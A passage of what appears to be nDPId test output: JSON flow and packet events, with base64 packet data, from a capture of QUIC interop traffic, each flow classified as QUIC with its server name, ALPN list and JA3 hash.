MgY8q\/R\/4iocbJeAZaxcxLWoaBL5Dy6c5RqwmcmQUw2FcUSfarB7m6DGemQRBI6m8IfxS6ULrn9t0ZaJXLuVmX9Bm2oeGECfAf31JRuwVJ9fv26n\/XDb55k0fcO\/t2QAqH5VfQ\/XE6N19TPKrMa5fdi51foR6Wyl8S6hOCeKDO2C9D5n0K\/H4Ph5+pkEEtQs72MottYSPihw0iY\/Fu1RfLXjTA4gqlduvFyO1c3LDQtaJKHg0vklnpsW\/ahvB9sqw1bthHTeyy2PAYGFyd5\/vPsWwu1prQnziZfvuZBv4r85RGoHlFs8OJLDxJP5Unl+UHM1ip66ezVc52fyagwU2p\/dNxSLNLq9ZZZxOqPXoRe4DIj2O5EE+tg2DBKVlqsKlvnpY2O8nYNOUYb06eUwLY7eUmyF5kAFPXCNi2RVkA+F1RffYC4TGxAF6olxMiRrcrs3c\/DtIuA3v9xxQcuNbfPZJrt6p2lhDsnJl0cXW7yahBQ3t8Vob3Fxn8maWSGCm5H4l+b5QiCXjD6aPLMIVSGOxlZuOuMShDlqCqLDm2rrFG\/Ex+58dfI4GZg27KkFrt8yKQU5xP3cDpmgWO8cz42odj5\/XN7ZJEwitO8kjLFt+mYDrVsscfg2UJe74+Xm4LAVvyTj\/b5G5HD1FrTlV0Rk9tUeirRMew509ZVXjW6YJYWL6zO9lgxLgoaV8Gd+v8yh8ZKPFv9a4RV\/5RBt4U2FAY94eskZ2SwKXWETml5yVCj4zuhjsEmm1HcHzPbvj3x0zXEiI2GG4l\/vpR4uTmkPxSOziP4F5ZFOBoaoWk92Q4T6koGjbXJnLz8U3PiyS0Qz4nAzJ2kSKRwz7zoxMiMJyM86M7+1Qefwixc4jngX8nk9EZniCllUXuWjwKpDQHahASkxBg+qPeRKYIoZbqfouV14QIMHyAa5JM7alvljGBrRgRAZXmcDpn2gAJImko\/gdF0i\/5wYy3K4UZeND0xxE7m532JLVgzS2+HslCBkUca8fdagWqHn+Gho8KaUeJhRfYw0ZgBrosRDMSIh0QMCIiGRjGE5z\/aohA=="} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1603816434507,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a05:d018:ce9:8100:cd2a:e2fd:b3be:c5ab","src_port":37876,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.aiortc.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00539{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1603816434509,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","src_port":34442,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02095{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":509409,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAK6QBNgRQCABCwcKydWupNP+R2kegH0gAUgAeBcBAb52Tv\/+BGMdhooBuwTYZF3MCgoKCgiLyuadTBhpMAAARL5Jn8vg\/A\/iHcc5HGyjUHtzYCYh3M+1HzdHtSjFxotnADrnTs2cVW9HALnbbxq+j13Bpa3hTOGyFKAuVKKOVbHcGaJLdNA06DSFzV66GiVnWQJ+1MFEeQ+EHU1tYSy5DynacUlvf1G20dd2kmKE70+xxOTQI+IxdCf39TGHKu+pGUdVYYzStvwWo5npAklpjTRW1hPHPgr+vxfK0tzntAB4tgdSsfnM003avASiWDb+GIQGRqQqd12Z3S73M6xSxbEpPhQs03GVV7j7jPCY+xuSqdE0+RC2M2xTxkDxrKzwifOo5JzioGQ8n1leAaytkPPh7\/6kP3tXKc3zSh+6mDapIcrXvGRPBtxzjcwZlnfC61xJLZ4o\/bDf7VXUn2iqev2r7RfntxDJ4F+CHoqdQU19Agb1DRLZ+44sSsLJRZPe0rMYqmphZb9TR\/CXfZoxmWSMgVmNHVqPhkUDRkBFiFUg2qWtzD6IUIlCi4UB90+3QDAMKbHPStmRV90FoZ4qgb1QWQshIsAOJrfADpMoeQeOvpHnWSBMA4n5tbORKddl3SJHwqDMa\/kYlEza3HmYzKyIekgCLUxBLZMgtxwl0pUeJvIYxMdZF6Znn7pRsQ+GhZyet6ZCOM2ft7uJCMRH5bphpdavcWHTrSt8uZ2iyfo3VofxaZqdzUsHHTpc9bD205szhfCxENgNATF1PGuWlfKJUrPPjUWPpw65iGFR3+hPQ1+ZRRE7orDx2vkC5kOJiEvbv0d6sp6yfMo3tuOn4kXULD2rf5TSc8aqDVZCklaUIbEuKaQv0jni\/XkpmdOw2UlUp3oYLZ9on+kdq43Nf9WrEJ+gfSZPMUZsyhXXyPRNGMrTBo0SUX31QcOdzW7AQaAXnJRZob+0gus27voTqIEPJh01fxeGPbXNNQ7VzwarPIKHRq1lGIs\/wJwJCsm2hQjq0+K3VFq4cXacrOp5mbdbbDJRXEnCejUnTswq7Ga3dz818NNmVp7FoznVEcHX3RQBfk8eLveHtTEpxIgmvWuj5aaZt+HyxH\/0YALf+wz6lv1s1l\/hg9o2e11OlebH1k7T7awcxgi41AZepwsE50V3GVh5GwIfK89lz9Ro6tly3hUhrsJ2ja1C+A6RBrWVVdcIlZY4BlIcSzf0BUccadkfpP\/Enz0yFkuHTLXTyrmsvl44wgxOvsJrZMwFacqnccJZHwZHWEMkNcxcPbL0Z2U7a3Xa12dEVYYVu1U+X65oQyb2yPkBqMJ+DTB9RU+DnZIynnRzCZZkuvH7Uzn\/zVoVu3fNULVHSP4L+ehdOiOmS0l9r6IzvZQbe+xLjtz2iXbuU36zKNhA17n0gtw0JDOpoFDbD0FwhdY1JUMZx18mcrbFQX02CO02e+BE1Anxc\/TfBIKj2hI2ObT4d57WIvq7cpwJxNdZMuBfjVhAX64+5X4J\/pGNdD3WMTo1fYU74kzII9sWnijVE1WzVIBymOIxdGDOuxbCm5vJaE\/oIJEfaWcfmDwa+jhxCRN2aqJvKC+Iwq2cNN7z7vgOXAZ9SIrdZFgVX8+v9NO3ca9aZtmZoK1IAWW54LXRx4BZnrJKuFoltIkcOXZOYajcaVAMSefQYGNrVyxL8AzXWJ9vEQ=="} +00777{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1603816434509,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","src_port":34442,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.ogre.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1603816434512,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"3.121.242.54","src_port":47010,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02101{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":512961,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAtF1AAEARybfAqAGAA3nyNreiAbsE7OwqxgoKCgoIdQnXg0rBLY8AAETSdSNeqCjc+r6H8HOL2nfX9Nl4bt2\/tch\/k3WGu45v6swQRKEZjB5cL5PwQRNSezjETWlwl9x31DElYvPiaTjwEzV3uzPoPSD3RDsDoNIOdJfzM8eeT+YF8HtZxPxl8JfMcAWEYacVzCIRBiKkRKZDpR5dR0ouRtlV3GGe7kt0DtTyh+sL3vELhV2kHz6ly30R\/jiT47NHUtkHKuInrvyxjGqVvAYH34n7tXCBQ6D+AfZH11fptBBQ7utMKjJQetgZnmiyn4jfUks45DQLptmzmM7vacgVM1UXfvDRMiXWFLlgc2aMseReas3HNr0PU1Ye1gi1puLSN2a9gpcRb+O0YMFs0jlKm38N1LBqGTBpyiDu8QECyVyUyl5oER0iWXuG3TbvkN2QQTnAKlJqm0eLVl\/NYu3z\/fNWg32CWUDT2152nd1+esKzcxvEOyGhXuUWhYZ2f900yvrQLHcBQy2bY\/c28n\/CX4U8pxI6NyIasmjHd4xMKoES4DMmjTKarxqquM7dXQbXZLB8En20kKfdQRYHHg+reqWqS2rb8XL4IMSIg8+UsaueMDmzrfUZd\/56R7cXjRlq+VUmt81q5nNnKCMBQ\/7rvr4qOGOZ2CHm9V+uADTNbhvve0l68irgd7nnxQpElTgIyjHyFhvd8KPoLd2HsWPDEewjah\/d5eFL2o2JGexda6drG5JkIeHDe6OWKoobO2FfYrFha9u0nzvL0Czf21A7G+Hktz+GtzDop6GmMw9wX0x7PAWZ9MWVDxJhZqMOzlDofB1A88ZWDukm1Hm6PVA8JMNdUp3UJt5LtDBJLLAEOUN0BNEg9pXHjjKOVZeJN8ZQvkURagzOCo3aTho10tRkW\/\/buLsCCgS9oRh18BVjsveR+UkY4XmNAimeDQhBeVIZNQAbv63kh8fikt2GCen13aqn\/akV6vyA3xP9zH8BrXE0pnxbTdVJRyKZmPMfH+2L5gdn4Inm\/u2BD5yUOdsZkjyDYog2dorLJX+t+PSQ9uXuCwdbDKjjZw9L8++g9YMCmG+DuNoxchSfm4TcUkVs0SgbA\/r\/65YZBCmO6TdtJWtU8H5XFhYFiz1Q78xobCBsvaSvzLLye5aeCDzi6qFTLk0yIv3EAu91rP\/6ul6HmTBVTtG3x8oOLW5WVDEqHHQcQF2G5KsSqr4MhwRqiW0iF9\/6ruIt5OM0L8g5QVUhLrV+wAUx9TrMv+LPDrsvG+Dx5k4p3UodhKDHRb\/7ijQM2ozG8RHNrTry6RrGZAsgdT3BTj1sf\/spjmdgzIF2pwahJa8xi9tbBXrUI1dyXG3+uu21VtbunHyZrZPu9Lqmex5yNEoIMYh8ALvFMBlRu18WIDIANDkgo6akaO98LoftutjwPgqclkRUkaNJO1Z4mpP+D3JcJ7AwJfHttUsGFLMXeHC0rS3Jx8xlGehlDG8Gjx6MbqsW4FVSy5EnAw4UdsWYMoAQZhCtB79ozmulqNFitQkW9QOF9WX6McnEdk8YyUFeo+qc1Fhx\/ki2cnpObQM3wblVzck3qttvXup8w\/1\/pw0ra8kGRFKBe8QDkHMzVAmkeyW7Mq2NBPRoMSnnA3XB4x1u8DQAzActQ0v3Mr5WeVLSgCf9kg2BakZtD12MZbxnzu5AN97akX7cpg=="} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1603816434512,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"3.121.242.54","src_port":47010,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"ietf.akaquic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00538{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1603816434518,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a00:ac00:4000:400:2e0:4cff:fe68:199d","src_port":48707,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02098{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":518986,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAXvJBNgRQCABCwcKydWupNP+R2kegH0qAKwAQAAEAALgTP\/+aBmdvkMBuwTYCBnBCgoKCgiEPL7zH8M0IgAARL6eKfaWNoqFUZMIorsrR+PI0mjVI6LMaQTDmquE5419Uqg0GPvALnuSvRL73ivCKJwok1RPqjtpoqHTz45vYlbMW0kHssfjLAjOAUVEArsuhMOirtE412w2RU3RQOLAwrvAO4t8cjd0tkO3FdpXC1+6xCs\/9xwo3urZvY7tv+pPD0m9iy\/nLknxJjrg3PYY9NvAu4T1Yktb5QjJpDpv3IzaFim4vDdRfhCCfZLoy9vkSpiUxLSsp\/4K4guLZKTInOo7dc7L0u0RBuQrBPDDqK4FVSYOh3qSMuIrLfcW45Du9zFvbaiFI1Z3W2Zo1htxNdAgXrRsYiaF2UOsu3EWo22nmt3QVCTvxN40wXQBY474YpdLOSzJ8YT2z1lcFu0wBMnv5wKXxH924c65Vd8jn5+Ysdu9cokS2TeRsJwGH6f8UJWWqASwvtTblbNaAA1rpPkaZ6SKb5\/2SCA8NKsLTMfd9lXR\/TPIRkDa\/UKbcYJHJmruB8l71Ug149yMVHLyQ8PV4VkmIVimW0BwUZuqJHajnymZIECYtitexCiylm89U6E7Qol819M+CywoEZr0V1MUihq4vQCqT5IBPFtDKGbeUpuwEn9i1Sgfq7jW1ZF1lUJIXXxoY0W43gHceg0ibsXFS2Cu4BfCo2ARjzNDy5YP1fNhA\/sgI1UdsrpLLPnxOQD5MfwhgvGMBjmhjcscvgGoJNS3Mx4JzKbLqHshaWSTm\/LyTt9E6jEOyn\/elJ+Uz6TroidfobWRhT8DXti09Tw4xFpYjmFZS+sjqusErMX8BBmq9NavLEXrEkHMrSv7giTu2WivWYnhggGPBzPi9d7guvk48fb3nlBrDj9TyQ7mUjwRAlCv17XyLwk7KOYmtZZXJ3321lkp3bmJyRSPXB\/cv7ueIG6B+ug3kzrxt89xujNCeWtGdEmI4jIC4JS9GS8VFpY7y1HNYDb2ndNpNf5J7iwIXFXOR2gvyMqscy9rfPY85w\/ZzY6vHurlVpM9w3a5PREuXPDz6VgOdr20pgeNU8H73abMQojEillRJA93bqllSySvQYTvxdmLNI3kPK75CNOjeEksYsdF7tGWuteetV2CpVGc4fAfn7pKXvGC3QvR5rVa7kBRQpXGu246udb5IgCJQW4SWv9D41hRqVUqIhpV+jfVmbkfVSLTLo2RzlmBj7+a2aFtIWbpD7ANiOaRAl7rP5vSHQitoEDWhRQ+6AbGkwcuA7VjuhPuIHlBFBS73grpagTsbteLREgIXGdJVrSiF6wKPaotOPfLYFzLFzvsgAarE+d+Elzh343xLNOiKrK7GDHu3e49eOp9NamSo58Re3QCUDS3FIkTeME1ExL615hIro9N+tcv+\/TrXYarHmxDV0fGJC7I0oBmuLRb11ikCjaYc6FY98talPqVaf+74l6lZuX0twbSRQ9goQdc51kkKoNwIaEylg7FfWyw5YsxdYuXULPPqj5K3zNn8+VwtSMMfxRV+4q2DeFNLKi7SNoJlVxKbF9\/5E6m0hlFWybv1hE9ouYojrE6vOOYfXs3ptJPhGZaJArOV3rdeUnWT8I\/a\/Z7lnYxa5s8i\/zgpZP8zMFkDMjgYLge9GAnCTc\/tmQghNwZWih\/TQ=="} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1603816434518,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a00:ac00:4000:400:2e0:4cff:fe68:199d","src_port":48707,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quant.eggert.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00522{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1603816434519,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:bc8:47a4:1c25::1","src_port":60346,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":519345,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gBLPeBNgRQCABCwcKydWupNP+R2kegH0gAQvIR6QcJQAAAAAAAAAB67oBuwTYAdrFCgoKCgjhAy9VFSPmbQAARL7A303oZAFgGrTdGfei\/mHvqz29qgHXvt1vCJg2pc8FQKC36WDnBuPNUSWLIPLEGFVHDdTlHgEU8JaXOv5IcEJ6NZixRK+p1qGiKw+JPZoJHLOP3KMbB5ngi1RcHFIqjWkGqrO6Il1aIL5lyoE01q8y31quARUppPZlbh9u8WyKOZncFcG5VSpCu3UE+cTCqpGjHOnXC\/1HVlcF0rPYeaHUMOcvFeS7y7V49OnzF7ttNLuTcyzNKgrnqbXVeEFjqLCnQqFji\/PE8S791D2YivE\/b7eIwJzHPMOZxla3AUW1ggsh\/8zQVMk7TQ77ZAmxg7c56Ykrcym6mqal+6TN6kIdyk1r8ujmnBp2XTNKpRpO15gBPf\/xmmYsn0LfjAGybSTVfzGe+r9+hhk9FRKWlvSa0mUhD5xcSPxL855ekaVs8es5YbbQJzvgyO0E6jlhqBvBuXAFk7V5bJfYUhuvK7+FV\/vqBa5Dyr1Y4aVAg8uqmcbLqzdH2nG4UUlIo5QS\/5YbcbMVH8iRLcVUqSgPI65pQT1eOh5NtpZaGNEaXfSjJtIcZtks1c9UmuF5RZk5R8RQDxMBmTUIHRWRrWAtXGorI1rYK3OSEHdlNwZLgl\/WhBsg8pHYuSYaJpYetojCp9wSrshudt2xxyszjnmuhkGDIm7Y\/wjwl1afYHDK3hktBEZRnZVWPJaRHBs4awP9h7+ogQbF1JHMgqJ8UHjilyfki+6fs4+HR4\/6MD0nR2lO00THBaPUZEBIBanL39bTcfHJv9V2bghWT79XrP3UcYoKelpB\/ItWidO0yq9fm+CHlz9Et4Ou\/1QyXDWEp+CTMyrOG3vgDdsY85\/lqem3Pk\/TK14Hvru6JNyjBX1qQfwbZ88ltbaToG0yqFOgs2W5Arx9\/dI4Ztfqsjc+585hIsoYnSoLWOXcSri0SP6dHTiXrSLkzfw516ezxXVHyVqjVj05mTnGg6pkVppsXFLKXFlWA1e1ekM\/7pIK3mEFd1m5zAsBvdRI8t0eAjdE\/YqRjTOBuVa2i4QrjzAhkilSHIU4wsKR0bJYrKvlvC6aSvyiIhDJ8TTHnME5NeWT+7GBlVwsE5DxirVv\/piW3kABvaCjRWG\/FT17E9VSZ46Bt\/YDK2K++WfWexMUmiclj\/iNE0u\/2Uu2FqhLdisuC4yPh1npFfTyVb5gd0sFzCfXeCse35OuC0BYyIPm6NlvuaZqtz3phwQTaixo2zFFiJEmFvvuAA7ELwFzzKc41TRB1+kry45l3KOpElwYbMgfd36GZXpWYtuP6E52jGg5RtuhyBlrf788aBNf8sLkyM9xE9KcxBb5QVeJTjT+LcWZdWa+v3KGsrLCPyrX+kiGauCjQ+hs82UiUqVf9Rz3JFbGEwZgYlj7I14qfs\/YcVCcwnxGzpddMNKdr0ra2x1StoIrJ0raVEvvwlSDr+tCYZpUpOYxl90g6gsdiN7MJw2E9wvBWEpyPijuZ0KwxzCd0EAOuXWQRRPgW+xa5IDUzZpOTbVEZnGiINxr7hy0M4cxGp7iAIcmRBu08GCRc89HtXVlh4Lj0ClSbZKBKbo7me+xDowYARa7U5sl5\/iHaXVCKJtSB5\/MjfywY1OM6Rrb\/rUovA=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1603816434519,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:bc8:47a4:1c25::1","src_port":60346,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"h3.stammw.eu","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1603816434523,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","src_port":46576,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02108{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":523543,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUASTxAAEARQtzAqAGAKHC\/PLXwEVEE7Eu5ywoKCgoIUh1YuhDqcyAAAETShcZ7U61m3r3pKDSZMAlRkEkMX8IBatc2KSsG3VEj0lAsPYd+5xEo7F0R6rRII91EQq3kY6fRBVYjgUzkelUep6PIw4v1uOUHWVWj9\/CBoCuFmh0QBFTlwFV3ajZYJtEVj\/UMbkT8ggH6NbKSJV7\/7XCOY6sOXc7KO1y3bpcq5D78RQTF3QAnMEYSTjEkBHANDD5W9AIyB1dmHqwExvOJV7YrCF0Wz7pCUTi8XP9KFNvgkhOSPVQjF1KeCLRKAL3ZHtPolipZhKCqRtuCyeyoz\/WKMUWuH2pOJ\/WCN+fIaYqYSu2\/Uw9h6SGQoS6DN0anGtpDnUD0GFob1uYgJfvGsEIlEF4ovhbxwTVp7mrf8Jn1RwQU6cEaGVAGxcwFRF59HEd7DfQ2HqiN6ygOPpQYa4cx7qpW5pucG8spbD1\/cWsvhbhGqD8WXrUrT5FX8eR51cu5\/rSEZZ0hJlrQrcyu1Jo+wtEU248WCYzmcFDU3KkwLTXrWInL3I4\/3lLpKWAzyz04l7KeGoqcwCeKKQ6p1uyWxpMWebh\/pAeZzwZIk8uY57nKlrPOmivZENHW9oA7\/VrJHghXWWSPNWv94zdJtPbS4kaRkkyKA6YWscg88+FeMvb1pCnByg\/FBd8Mkh8FAhvUPdRBKBqvfa6hdS6kOEBzLUDEht1P\/hkx2oxe0tO1cCFKrfKPAgjP7fDs+HjYwYUjQcQs0Lrfeiezhk68WlVN7f3ydw4AyGklyENZMzjbp2KCDTQJw+bwFV8oeqGfVQRe12vWjCN19ZIAet6\/7N00iAsSHL0OYmwIy5kEm9ia7W54BjwDLqYTIVS2lLjOBW8eRTghxgSgQxvjGDeszyBcMdQvXcIFvNEPXDZvspUbePIw91S9T7A3jCp65i7X4r+fn3M7N5F7j58fappJzU95USbFKUMdxds5siewsczbT\/MrC2OkG0+JuLsutjVwruC3oxgf0F68j+vl1Wm0rJIMkpipHqVvhcHhV+OWaqezJa4AMHRf7fdSrYwPxKtdQTJG3\/g7anjqxa6WSX99h5LjVhbxHDD361DVddXanfGMVBhF7hsyy9ONqBFaE0X3vq+HEhBWkG9LtGG68wwwE5NwZds\/5HESH+ia5Ow\/sbVAD5094mw+zs9a70KyvM0z2kZ8P5B1wNaZ7JZ67KSZOdP\/DCz7bP9r0i+DKzjU4mo1fhcDYTbnyYL09iH+yrFC4uLIRq1vlDgFJ2X2xDITqMN6kx\/ZziHpUw0+tusqXNSXNMQMFKUZKnReB3GpZaA4xILTO73fVG7kLqQ2j9Pfhgr0XjkpujIdWgbDJPwVi0egmLmvkiBx2oWjN0pYUqFfvKMLMSROetLN33mIJ7WaM6DIBHm0ZoNLBntXqK2QERM+5VXgRG\/zKfBTkTfngbP7Dw38e4JcE1olS6CghzCOQzrj\/EPi9cO\/THKUsaoFe7VwubEl6zVajKWO\/ftqXQDEtcPyWqS1x9VkXgf+5HCH6y4ZfXz8j0oj\/gEliPbSFZd61V\/W+k+69wJ4Ve8CztvjyEeitwZuhoIUutC7Co\/agYewJuOHM9M9SEui8BMgVWEjqOMxUGgxy\/aNH+S0wwqZxbtmcgxtt\/+dU8H1VYtjo5PU7ihOGqkqbFa6tDbR7MCwkw=="} +00726{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1603816434523,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","src_port":46576,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"f5quic.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1603816434524,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"40.112.191.60","src_port":46334,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 